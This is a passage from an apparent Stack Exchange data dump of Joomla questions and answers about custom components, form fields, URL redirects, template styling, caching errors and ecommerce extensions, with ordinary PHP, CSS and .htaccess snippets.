LastEditDate="2017-12-06T14:39:13.643" LastActivityDate="2018-07-04T23:57:14.613" Title="Save multiple list custom field for component" Tags="|joomla-3.x|form|form-fields-types|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21840" PostTypeId="1" AcceptedAnswerId="22522" CreationDate="2017-11-04T23:31:27.947" Score="3" ViewCount="272" Body="&lt;p&gt;As we (two volunteers) are going to develop a component with some features mirroring (part of) the processes going on in the (non-profit) foundation, I was wondering if there would be a rule of thumb to determine if one develops part or all of the component in the front-end  part of Joomla or in the administrative backend?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it were a public website then the decision of front-end versus back-end component development would be more of a clear-cut decision. One would probably want to show things in the front-end whilst managing the front-end data in the back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is most likely going to be an intranet website within the foundation. Where normally the back-end would manage things for the front-end, in this case there's not really a website to manage, but there are processes within the company (revolving mostly around people or contacts) to manage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it were only my choice, I would probably be satisfied building the features in the administrative backend only, using the default style. It would probably save some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though it might be the foundation would like more of a custom styled experience. So in that case, I should probably choose the front-end over the administrative back-end? Or develop the component for both front-end as well as for the back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, regarding my question - &quot;How to decide developing a front-end or back-end component?&quot; - are there any important pros or cons choosing the administrative back-end over the front-end or vice versa?&lt;/p&gt;&#xA;" OwnerUserId="11529" LastActivityDate="2018-03-07T12:40:31.417" Title="How to decide developing a front-end or back-end component?" Tags="|joomla-3.x|custom-component|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21841" PostTypeId="2" ParentId="21828" CreationDate="2017-11-05T11:47:57.857" Score="0" Body="&lt;p&gt;Here is the solution to what I asked:&lt;br /&gt;&#xA;To redirect to the right part of the website, in plugin User group named joomla under &lt;code&gt;OnUserLogin&lt;/code&gt; event method add the following Code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$app-&amp;gt;setUserState('users.login.form.return', $options['return']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I myself did not reach this answer, I learnt from Sergey Onichshenkov&#xA;Everything is working fine now.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;Also to complete the answer , in case of joomla update, the code shall be gone, in order to get rid of copy and paste the code again, you may develop a custom plugin under the group User and design it as what is told in the initial answer.&lt;/p&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-12-09T10:14:11.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21843" PostTypeId="2" ParentId="21838" CreationDate="2017-11-05T19:04:44.267" Score="2" Body="&lt;p&gt;I found the solution on this so i share it jsut in case someone else needs this.&#xA;I've added part of code in 2 places. First on the table file, in bind function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($array['discount_on_categories']) &amp;amp;&amp;amp; is_array($array['discount_on_categories'])) {&#xA;        $registry = new JRegistry;&#xA;        $registry-&amp;gt;loadArray($array['discount_on_categories']);&#xA;        $array['discount_on_categories'] = (string) $registry;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then in the model file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $registry = new JRegistry;&#xA;        $registry-&amp;gt;loadString($item-&amp;gt;discount_on_categories);&#xA;        $item-&amp;gt;discount_on_categories = $registry-&amp;gt;toArray();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first part converts the field value to string so that to save it to the DB and the second part converts the string to an array so that to display the selected options of the field.&lt;/p&gt;&#xA;" OwnerUserId="7246" LastActivityDate="2017-11-05T19:04:44.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21844" PostTypeId="1" CreationDate="2017-11-05T20:05:31.807" Score="0" ViewCount="93" Body="&lt;p&gt;Is that possible to keep away website of browser size changes like decrease browser size or restore down on pc or laptop?&#xA;I wanna keep my website's shape in one shape in pc or laptop when user change the size of browser.&#xA;For instance, if user decrease the size of browser, show up some scroll or something like this.&#xA;I'm using default joomla template  Protostar.&#xA;My desire is attached by screenshots. :(&lt;a href=&quot;https://i.stack.imgur.com/FTbUq.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FTbUq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VNg6L.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VNg6L.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11734" LastActivityDate="2017-11-07T00:01:21.333" Title="keep template's shape in different browser size on pc" Tags="|css|protostar|" AnswerCount="2" CommentCount="1" ClosedDate="2017-11-08T21:49:25.703" ContentLicense="CC BY-SA 3.0" />
  <row Id="21845" PostTypeId="2" ParentId="21844" CreationDate="2017-11-05T21:01:58.890" Score="2" Body="&lt;p&gt;If you change the media queries from &lt;code&gt;min-width&lt;/code&gt; to &lt;code&gt;min-device-width&lt;/code&gt;, and &lt;code&gt;max-width&lt;/code&gt; to &lt;code&gt;max-device-width&lt;/code&gt; in &lt;code&gt;/templates/protostar/css/template.css&lt;/code&gt; then this would probably do what you are after.  This should apply the responsive behaviours based on screen width and not browser window width.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this under Extensions &gt; Templates &gt; Templates &gt; Protostar Files &gt; CSS &gt; template.css&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this is only in the media query bit, ie &lt;code&gt;@media (max-width: 767px) {&lt;/code&gt; and not where &lt;code&gt;min-width&lt;/code&gt; or &lt;code&gt;max-width&lt;/code&gt; is a style being applied  and not a media query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is important to point out that changing core files is not recommended, as future patching may over-write your changes.  However, since you can update that file in the admin, and it doesn't create an override, I'm unsure whether Joomla may actually think this is an okay thing to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to say, it sounds a bad idea to be doing this at all.  A fully responsive site is a good thing!&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-11-05T21:01:58.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21846" PostTypeId="2" ParentId="21840" CreationDate="2017-11-06T09:24:22.833" Score="1" Body="&lt;p&gt;This is an interesting question, and any answer you will get to your question is likely to be subjective. I would personally go with the backend, because, IMHO, content management tasks must be restricted to the backend. This will give you a bit more flexibility in case the company wants to display public things on the frontend (say for all company employees).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go with the frontend, you are essentially limiting your options in case requirements change.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-11-06T09:24:22.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21847" PostTypeId="2" ParentId="21835" CreationDate="2017-11-06T09:37:15.570" Score="0" Body="&lt;p&gt;Don't do this at the .htaccess level, replace your Joomla links in the database (by using the MySQL &lt;code&gt;REPLACE&lt;/code&gt; command), and then create a simple PHP redirect in the &lt;code&gt;defines.php&lt;/code&gt; file (you can read more about this file &lt;a href=&quot;https://www.itoctopus.com/leveraging-the-power-of-the-defines-php-file-to-monitor-post-requests-on-joomla-websites&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;). You will have better control on your links this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, you will need to have the following code in your &lt;code&gt;defines.php&lt;/code&gt; file (replace &lt;code&gt;http://&lt;/code&gt; below with &lt;code&gt;https://&lt;/code&gt; if your site uses https):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $currentURL = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];&#xA;    if (strpos ($currentURL, '_') !== FALSE){&#xA;        $currentURL = str_replace('_', '-', $currrentURL);&#xA;        header(&quot;HTTP/1.1 301 Moved Permanently&quot;); &#xA;        header(&quot;Location: &quot;.$currentURL); &#xA;        exit(); &#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-11-06T09:37:15.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21848" PostTypeId="1" CreationDate="2017-11-06T10:22:22.570" Score="0" ViewCount="31" Body="&lt;p&gt;I've been asked to add ecommerce functionalities to a website with a non-ecommerce &lt;a href=&quot;https://www.astemplates.com/joomla-template-details/400-at-real-estate&quot; rel=&quot;nofollow noreferrer&quot;&gt;template&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website is quite simple, with like 20 products and just 5 pages, without complex functionalities. &#xA;I haven't much time to complete the task, so I thought that create a new website with another template or use something more ecommerce oriented like Prestahop should be faster than modifying the actual template, adding all the ecommerce functionalities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right? There are painless solutions for such a task?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider that Joomla isn't my field ( I use mostly Wordpress, Craft, Prestahop ) and the website is using some sort of page builder.&lt;/p&gt;&#xA;" OwnerUserId="11737" LastEditorUserId="11737" LastEditDate="2017-11-06T10:31:40.743" LastActivityDate="2017-12-07T09:57:23.713" Title="Adding ecommerce functionalities to existing website" Tags="|e-commerce|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21850" PostTypeId="1" CreationDate="2017-11-06T10:48:48.477" Score="2" ViewCount="68" Body="&lt;p&gt;Hello i run multiple joomla 3.8 websites on one server, each installed in there own directory. They are reachable from the internet via there own domain url.&#xA;On dns level i used a redirect from the relative-A-url.be -&gt; absolute.be/A&#xA;and checked the box &quot;display relative-A-url.be in the address bar on my browser&quot;.&#xA;This works fine for the first page, but when i open other links in my website i'll still see the absolute path, by example :&#xA;&lt;a href=&quot;http://absolute.be/A/index.php/kalender/twijnen/registratie&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://absolute.be/A/index.php/kalender/twijnen/registratie&lt;/a&gt;&#xA;where i'll expect&#xA;&lt;a href=&quot;http://relative-A-url.be/index.php/kalender/twijnen/registratie&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://relative-A-url.be/index.php/kalender/twijnen/registratie&lt;/a&gt;&#xA;Mention that the link to my Joomla Admin console ONLY works via the following link &lt;a href=&quot;http://absolute/A/administrator&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://absolute/A/administrator&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best practice to solve so the site looks a relative-A-url.be website and is SEO ready ?&lt;/p&gt;&#xA;" OwnerUserId="11738" LastEditorUserId="11738" LastEditDate="2017-11-06T14:37:14.303" LastActivityDate="2018-02-05T00:35:26.997" Title="How to use relative domain name for each jooma 3.8 websites running on the same server" Tags="|joomla-3.x|redirect|joomla3.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21853" PostTypeId="5" CreationDate="2017-11-06T15:39:48.370" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2017-11-06T15:39:48.370" LastActivityDate="2017-11-06T15:39:48.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21854" PostTypeId="4" CreationDate="2017-11-06T15:39:48.370" Score="0" Body="This is a special tag that is designed to be used only by the system for questions that have had all of their other tags removed. Do not add this tag to existing questions, it is reserved for use by the system to identify posts with no valid tags." OwnerUserId="9471" LastEditorUserId="9471" LastEditDate="2017-11-06T22:10:32.327" LastActivityDate="2017-11-06T22:10:32.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21855" PostTypeId="1" CreationDate="2017-11-06T21:18:58.000" Score="0" ViewCount="395" Body="&lt;p&gt;I'm needing to make a choice between a couple of joomla ecommerce systems. Having used and hated virtuemart a long time ago and again recently I'm looking for another solution and there's no shortage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a fair bit of research narrowed it down to &lt;a href=&quot;https://extensions.joomla.org/extension/eshop/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/eshop/&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://extensions.joomla.org/extension/j2store/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/j2store/&lt;/a&gt; which both get very good reviews. One of them has a backend demo, so can't compare in that way, both have frontend demo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wondered from personal experiences what others have to say about these 2 systems - positive &amp;amp; negative?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Limitations, future extensibility/development, maintenance. Features like custom product field options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a designer/builder, not a developer to give some context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for any advice received and your time, it is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9555" LastActivityDate="2017-11-17T23:06:05.507" Title="Joomla 3 EShop or j2Store" Tags="|joomla-3.x|e-commerce|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21856" PostTypeId="2" ParentId="21848" CreationDate="2017-11-06T22:24:08.827" Score="1" Body="&lt;p&gt;The best long term solution is probably to learn the existing CMS and extend it to include e-commerce using &lt;a href=&quot;https://extensions.joomla.org/category/e-commerce&quot; rel=&quot;nofollow noreferrer&quot;&gt;an appropriate e-commerce extension&lt;/a&gt;. This will minimise ongoing maintenance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most templates should work fine with any e-commerce solution.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-11-06T22:24:08.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21857" PostTypeId="2" ParentId="21850" CreationDate="2017-11-06T22:46:10.690" Score="2" Body="&lt;p&gt;It depends on your hosting environment but I am usually able to fix this type of issue on Apache hosting using &lt;code&gt;Rewritebase&lt;/code&gt; in the &lt;code&gt;.htaccess&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if a website is in a subfolder like this: &lt;code&gt;/public_html/subfolder&lt;/code&gt;, then include the following lines in the &lt;code&gt;/public_html/subfolder/.htaccess&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;Rewritebase /public_html/subfolder&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-11-06T22:46:10.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21858" PostTypeId="2" ParentId="21855" CreationDate="2017-11-06T23:13:05.373" Score="1" Body="&lt;p&gt;Choosing an e-commerce solution depends on the requirements for each particular project. What shipping option(s), payment option(s) and tax option(s) etc. are required? Even minor features such as the layout of the printed receipt could be a deal breaker for a particular project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with the list or requirements and find a solution that fits the project rather than trying to make the project fit a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the list of requirements, it should be much easier to narrow down the list of potential solutions.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-11-06T23:13:05.373" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21859" PostTypeId="2" ParentId="21799" CreationDate="2017-11-06T23:34:41.250" Score="1" Body="&lt;p&gt;Based on the question mentions not found helper function in the admin and Joomla update to 3.8.1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is site update from versions prior to 3.7.x? That introduced Custom Fields plugin that has been a real pain in the &lt;em&gt;site&lt;/em&gt; since it loads FE helpers without your intention to. So my first and only guess (or solve trace) would be: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;looking for the existence of &lt;code&gt;loadjQuery&lt;/code&gt; function all over the code;&lt;/li&gt;&#xA;&lt;li&gt;check &lt;code&gt;class&lt;/code&gt; name of class that it declared at;&lt;/li&gt;&#xA;&lt;li&gt;checking other classes with the same name;&lt;/li&gt;&#xA;&lt;li&gt;debugging which of those classes is loaded (put &lt;code&gt;die(__FILE__);&lt;/code&gt; in the start of each of those files);&lt;/li&gt;&#xA;&lt;li&gt;use &lt;code&gt;debug_print_backtrace()&lt;/code&gt; to trace the path that app loading the file and try to overcome the issue.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-11-06T23:34:41.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21860" PostTypeId="2" ParentId="21844" CreationDate="2017-11-07T00:01:21.333" Score="1" Body="&lt;p&gt;Do you have a reason why you don't want the site to change depending on the screen size? Responsiveness of a website is very important in this day and age. If you do however want a complete static website it would be better to create your own template rather than try and override all the Protostar styling.&#xA;You could create a new template based off Protostar but remove all the media queries and go from there.&lt;/p&gt;&#xA;" OwnerUserId="9575" LastActivityDate="2017-11-07T00:01:21.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21861" PostTypeId="1" CreationDate="2017-11-07T10:47:50.957" Score="0" ViewCount="329" Body="&lt;p&gt;I'm a newbie in joomla CMS. I have this problem:&#xA;even if in Meta Description of the artiche there's the correct description, I notice that meta description tag of resulting page is like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[widgetkit id=&quot;30&quot; name=&quot;Home specializzazioni&quot;]   Visita anche Laserdermatologia.net ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what's happening? why shortcode is included in meta description?&#xA;and more, adding ?adasasdasdasd or something like that, page refreshes and meta description is updated to correct value, but, it comes back to wrong value if I remove ?asdasdadsasd...I tried with different browser (that I never used with this site, so no cache client), and the problem still remains. Even google in SERP shows this wrong description. &#xA;In my last try, I cleared cache from System in Joomla, but nothing changes. &#xA;Please help me!&lt;/p&gt;&#xA;" OwnerUserId="11743" LastActivityDate="2018-08-05T02:00:27.973" Title="Meta description Error" Tags="|seo|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21862" PostTypeId="1" AcceptedAnswerId="21892" CreationDate="2017-11-07T12:38:22.030" Score="-1" ViewCount="766" Body="&lt;p&gt;My clients site uses K2 and SW Tabs Pro. The client wants a button at the bottom of the content of the first tab that switches to the tab titled 'Pošalji upit'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, on &lt;a href=&quot;https://www.matuljitours.com/component/k2/item/879-sri-lanka-i-maldivi&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; page this is #tab18 however, on &lt;a href=&quot;https://www.matuljitours.com/advent-autobusna-putovanja/item/973-advent-bec&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; page is is #tab17. Is there a simple way to create a button on the 'O putovanju' tab that will, when clicked, switch to the 'Pošalji upit' i.e. by using the name of the tab for example, as the tab ID itself changes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-11-14T17:28:20.780" Title="Programmatically switch to another 'Tab' in SW Tabs for K2" Tags="|joomla-3.x|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21863" PostTypeId="2" ParentId="21861" CreationDate="2017-11-07T12:57:01.760" Score="1" Body="&lt;p&gt;You need to set the meta description in the Menu Item - This is pulling the meta description from the content of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the menu item, go to the 'Meta Data' tab, and add your information there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: In sh404sef go to the Titles and Meta page and add your meta descriptions for each page in there - this should then display correctly. Let me know how you get on. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-11-07T21:29:32.193" LastActivityDate="2017-11-07T21:29:32.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21865" PostTypeId="1" AcceptedAnswerId="21877" CreationDate="2017-11-07T13:24:54.440" Score="5" ViewCount="606" Body="&lt;p&gt;I have a Joomla site which has had persistent on-going problems with its cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are able to resolve these problems as they happen by going to the admin panel and clearing the caches, but would obviously prefer if they didn't happen at all. But I am having difficulty trying to debug the problem find out the underlying cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The symptoms are that the site operates normally for a period of time, and then suddenly starts giving blank pages with a 500 error. The issue seems to be worse now after a recent upgrade to Joomla 3.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done some debugging, and the actual crash is an out of memory error. The exact location varies, but the latest example gave me this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Allowed memory size of 268435456 bytes exhausted (tried to allocate 30548627 bytes)&#xA;  .../libraries/src/Cache/Storage/FileStorage.php:195 &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is in the &lt;code&gt;FileStorage::store()&lt;/code&gt; method, trying to add a block of code to the cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the contents of &lt;code&gt;$data&lt;/code&gt; at this point, it is serialized PHP data that contains numerous copies of all the modules on the homepage, and the size of the data is large enough that it pushes us over the memory limit when we try to prepend to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are definitely multiple instances of all the modules, and my guess is that they are building up in the cache over time until it gets too big for the memory limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't understand (and can't work out from the debugging I've done) is why this would be happening. By the time the fatal error occurs, it's already way past the point where it's actually built this big structure full of modules, and I don't have the deep knowledge of Joomla's internals to allow me to dig any further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone out there give me some pointers as to what might be happening here and how to resolve it permanently?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2017-11-08T18:38:28.887" Title="Persistent problem with Joomla cache" Tags="|cache|fatal-error|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21867" PostTypeId="2" ParentId="21834" CreationDate="2017-11-07T22:45:54.937" Score="0" Body="&lt;p&gt;Today after I upgraded to 3.8.2 I find out the Unicode Alias setting in &quot;global configuration-seo setting&quot; is actually working now. There is no more problem filling in unicode in alias.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2017-11-07T22:45:54.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21868" PostTypeId="2" ParentId="17164" CreationDate="2017-11-08T09:34:40.807" Score="0" Body="&lt;p&gt;I don't think your code is the canonical way to access ZOO parameter values, but using your method you probably want something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$value = json_decode($value);&#xA;$primary_category = $value-&amp;gt;{'config.primary_category'});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="90" LastActivityDate="2017-11-08T09:34:40.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21869" PostTypeId="1" AcceptedAnswerId="22366" CreationDate="2017-11-08T11:18:01.923" Score="2" ViewCount="96" Body="&lt;p&gt;What I'm trying to do is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Zi1NA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zi1NA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But failing at it.&#xA;The codes I've tried using are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td class=&quot;nowrap center&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;btn-group&quot;&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('jgrid.published', $row-&amp;gt;state, $i, 'records.', true, 'cb'); ?&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('jgrid.published', ((int) $row-&amp;gt;state === 2 ? 1 : 2), $i, 'records.', true, true, 'cb'); ?&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('jgrid.published', ((int) $row-&amp;gt;state === -2 ? 1 : -2), $i, 'records.', true, true, 'cb'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and also an attempt at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td class=&quot;nowrap center&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;btn-group&quot;&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('jgrid.published', $row-&amp;gt;state, $i, 'records.', true, 'cb'); ?&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('jgrid.state', JHtml::_('grid.publishedOptions'), ((int) $row-&amp;gt;state === 2 ? 1 : 2), $i, 'records.', true, true, 'cb'); ?&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('jgrid.state', JHtml::_('grid.publishedOptions'), ((int) $row-&amp;gt;state === -2 ? 1 : -2), $i, 'records.', true, true, 'cb'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11490" LastActivityDate="2018-02-03T23:01:17.160" Title="How to add un/archive or un/trash buttons in a manager button-group that isn't in a dropdown?" Tags="|component|jhtml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21870" PostTypeId="2" ParentId="20530" CreationDate="2017-11-08T11:38:18.930" Score="3" Body="&lt;p&gt;You can force the template style like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     $templateStyleId = 3; // set here the template style id&#xA;     $app = JFactory::getApplication();&#xA;     JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_templates/tables');&#xA;     $tmplStyle = JTable::getInstance('Style', 'TemplatesTable');&#xA;     $tmplStyle-&amp;gt;load($templateStyleId);&#xA;&#xA;     if (!empty($tmplStyle-&amp;gt;template)){&#xA;        $app-&amp;gt;setTemplate($tmplStyle-&amp;gt;template, $tmplStyle-&amp;gt;params);&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-11-08T11:38:18.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21872" PostTypeId="2" ParentId="21070" CreationDate="2017-11-08T15:00:52.137" Score="2" Body="&lt;p&gt;Don't mess directly with the table! Use the field model which has a &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_fields/models/field.php#L562&quot; rel=&quot;nofollow noreferrer&quot;&gt;setValue function&lt;/a&gt;. It allows you to write the value correctly into the database as done in the &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/plugins/system/fields/fields.php#L92&quot; rel=&quot;nofollow noreferrer&quot;&gt;system plugin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="56" LastActivityDate="2017-11-08T15:00:52.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21874" PostTypeId="1" CreationDate="2017-11-08T15:44:20.087" Score="0" ViewCount="285" Body="&lt;p&gt;While adding the featured image of an article (&lt;em&gt;Intro Image&lt;/em&gt; and &lt;em&gt;Full Article Image&lt;/em&gt;), I need to add some simple HTML to the &lt;em&gt;Caption&lt;/em&gt; field, since these captions contain scientific names, that must be displayed in italic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla strips the HTML from the form, and I was wondering if there is a way to allow HTML, or only some given HTML tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found this answer &lt;a href=&quot;https://stackoverflow.com/a/18196105/302076&quot;&gt;https://stackoverflow.com/a/18196105/302076&lt;/a&gt; but the changes that need to be made are not fully explained.&lt;/p&gt;&#xA;" OwnerUserId="9355" LastActivityDate="2017-11-10T14:06:53.577" Title="Add html to Article Image captions" Tags="|articles|images|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21875" PostTypeId="2" ParentId="21252" CreationDate="2017-11-08T16:55:56.107" Score="2" Body="&lt;pre&gt;&lt;code&gt;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;$customFields = FieldsHelper::getFields('com_content.article', $articleitem, true);&#xA;$fields = array();&#xA;foreach ($customFields as $field)&#xA;{&#xA;    $fields[$field-&amp;gt;name] = $field-&amp;gt;value ? $field-&amp;gt;rawvalue : $field-&amp;gt;default_value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yay!&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2017-11-08T16:55:56.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
